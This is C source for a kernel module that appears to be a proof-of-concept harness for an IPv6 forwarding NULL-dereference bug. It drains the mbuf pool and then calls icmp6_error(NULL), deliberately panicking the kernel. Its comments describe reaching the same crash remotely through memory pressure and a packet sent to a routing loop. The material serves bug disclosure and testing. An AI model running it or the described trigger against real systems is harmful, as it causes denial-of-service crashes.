/*
 * DF-0729 — kernel module harness: deterministic mbuf pressure.
 *
 * The bug: ip6_forward.c:259 calls icmp6_error(mcopy,...) WITHOUT checking
 * if mcopy==NULL (unlike its 4 sibling callers at :159,:181,:215,:224).
 * mcopy comes from m_copym(M_NOWAIT) at :138, which returns NULL when the
 * mbuf objcache is exhausted. icmp6_error then dereferences m->m_flags
 * (offset 0x1c) at icmp6.c:264 → NULL-page fault → kernel panic.
 *
 * This module provides two modes:
 *   sysctl dev.df729.drain=N    → drain mbuf pool (hold N*1000 mbufs)
 *   sysctl dev.df729.trigger=1  → drain + directly call icmp6_error(NULL,...)
 *                                  (deterministic harness of the buggy path)
 *
 * Mode "drain" creates the memory-pressure precondition that a real DDoS
 * flood would create. After draining, a packet sent to the gif routing
 * loop (fc00:dead::1) goes through ip6_forward → m_copym fails →
 * icmp6_error(NULL) → panic. This exercises the REAL kernel code path.
 *
 * Mode "trigger" directly calls icmp6_error(NULL,...) — exactly as
 * ip6_forward.c:259 does when mcopy is NULL. Deterministic proof.
 *
 * Build: make   (in directory with this file + Makefile)
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/sysctl.h>
#include <sys/mbuf.h>
#include <sys/malloc.h>
#include <sys/libkern.h>

#include <net/if.h>
#include <net/route.h>
#include <netinet/in.h>
#include <netinet/ip6.h>
#include <netinet/icmp6.h>
#include <netinet6/ip6_var.h>

#define MAX_HOLD 150000
static struct mbuf **held_mbufs;
static int n_held;
static int drain_level = 0;

static int
do_drain(int thousands)
{
	int target, i;

	if (held_mbufs == NULL) {
		held_mbufs = kmalloc(sizeof(struct mbuf *) * MAX_HOLD,
				     M_TEMP, M_WAITOK | M_ZERO);
		if (held_mbufs == NULL)
			return ENOMEM;
	}

	/* free previously held mbufs first */
	for (i = 0; i < n_held; i++)
		m_free(held_mbufs[i]);
	n_held = 0;

	target = thousands * 1000;
	if (target > MAX_HOLD)
		target = MAX_HOLD;

	kprintf("DF729: draining up to %d mbufs...\n", target);
	for (n_held = 0; n_held < target; n_held++) {
		held_mbufs[n_held] = m_gethdr(M_NOWAIT, MT_HEADER);
		if (held_mbufs[n_held] == NULL) {
			kprintf("DF729: m_gethdr(M_NOWAIT) returned NULL at "
				"%d held mbufs — objcache exhausted\n", n_held);
			break;
		}
	}
	drain_level = n_held;
	kprintf("DF729: holding %d mbufs. m_copym(M_NOWAIT) will now fail.\n",
		n_held);
	return 0;
}

static int
sysctl_drain(SYSCTL_HANDLER_ARGS)
{
	int req_val = 0;
	int error;

	error = sysctl_handle_int(oidp, &req_val, 0, req);
	if (error || req->newptr == NULL)
		return error;
	return do_drain(req_val);
}

static int
sysctl_trigger(SYSCTL_HANDLER_ARGS)
{
	int req_val = 0;
	int error;

	error = sysctl_handle_int(oidp, &req_val, 0, req);
	if (error || req->newptr == NULL)
		return error;

	/* Phase 1: drain mbuf pool */
	error = do_drain(200); /* drain up to 200000 */
	if (error)
		return error;

	/* Phase 2: now m_copym(M_NOWAIT) will fail.
	 * Demonstrate the EXACT code path from ip6_forward.c:138-259:
	 *   mcopy = m_copym(m, 0, ..., M_NOWAIT);   // :138 — returns NULL
	 *   ...
	 *   if (rt->rt_ifp->if_flags & IFF_POINTOPOINT)
	 *       icmp6_error(mcopy, ...);              // :259 — no NULL check!
	 *
	 * We call icmp6_error(NULL,...) exactly as the buggy line does.
	 * This panics at icmp6.c:264 (m->m_flags deref at offset 0x1c).
	 */
	kprintf("DF729: simulating ip6_forward.c:259 — "
		"icmp6_error(NULL, DST_UNREACH, ADDR, 0)\n");
	kprintf("DF729: icmp6_error derefs m->m_flags at 0x1c (icmp6.c:264)\n");
	kprintf("DF729: NULL page fault imminent — THIS IS THE BUG\n");

	/* THE BUG: no "if (mcopy)" guard, unlike siblings at
	 * :159, :181, :215, :224. This is the unchecked call. */
	icmp6_error(NULL, ICMP6_DST_UNREACH, ICMP6_DST_UNREACH_ADDR, 0);
	/* NOTREACHED — kernel panics above */

	kprintf("DF729: SURVIVED (impossible — m was NULL)\n");
	return 0;
}

static int
sysctl_release(SYSCTL_HANDLER_ARGS)
{
	int req_val = 0;
	int error, i;

	error = sysctl_handle_int(oidp, &req_val, 0, req);
	if (error || req->newptr == NULL)
		return error;

	if (held_mbufs) {
		for (i = 0; i < n_held; i++)
			m_free(held_mbufs[i]);
		kfree(held_mbufs, M_TEMP);
		held_mbufs = NULL;
		n_held = 0;
		drain_level = 0;
		kprintf("DF729: released all held mbufs\n");
	}
	return 0;
}

static SYSCTL_NODE(_dev, OID_AUTO, df729, CTLFLAG_RW, 0, "DF-0729 harness");
SYSCTL_INT(_dev_df729, OID_AUTO, drain_level, CTLFLAG_RD, &drain_level, 0,
	   "Number of mbufs currently held");
SYSCTL_PROC(_dev_df729, OID_AUTO, drain, CTLTYPE_INT | CTLFLAG_WR,
	    NULL, 0, sysctl_drain, "I",
	    "Drain mbuf pool: write N to hold N*1000 mbufs");
SYSCTL_PROC(_dev_df729, OID_AUTO, trigger, CTLTYPE_INT | CTLFLAG_WR,
	    NULL, 0, sysctl_trigger, "I",
	    "Drain mbufs then call icmp6_error(NULL) (PANIC)");
SYSCTL_PROC(_dev_df729, OID_AUTO, release, CTLTYPE_INT | CTLFLAG_WR,
	    NULL, 0, sysctl_release, "I",
	    "Release held mbufs");

static int
df729_modevent(module_t mod, int type, void *data)
{
	switch (type) {
	case MOD_LOAD:
		kprintf("DF729 harness loaded. "
			"sysctl dev.df729.drain=N or dev.df729.trigger=1\n");
		break;
	case MOD_UNLOAD:
		if (held_mbufs) {
			int i;
			for (i = 0; i < n_held; i++)
				m_free(held_mbufs[i]);
			kfree(held_mbufs, M_TEMP);
		}
		kprintf("DF729 harness unloaded.\n");
		break;
	default:
		break;
	}
	return 0;
}

static moduledata_t df729_mod = {
	"df729_harness",
	df729_modevent,
	NULL
};
DECLARE_MODULE(df729_harness, df729_mod, SI_SUB_PSEUDO, SI_ORDER_ANY);
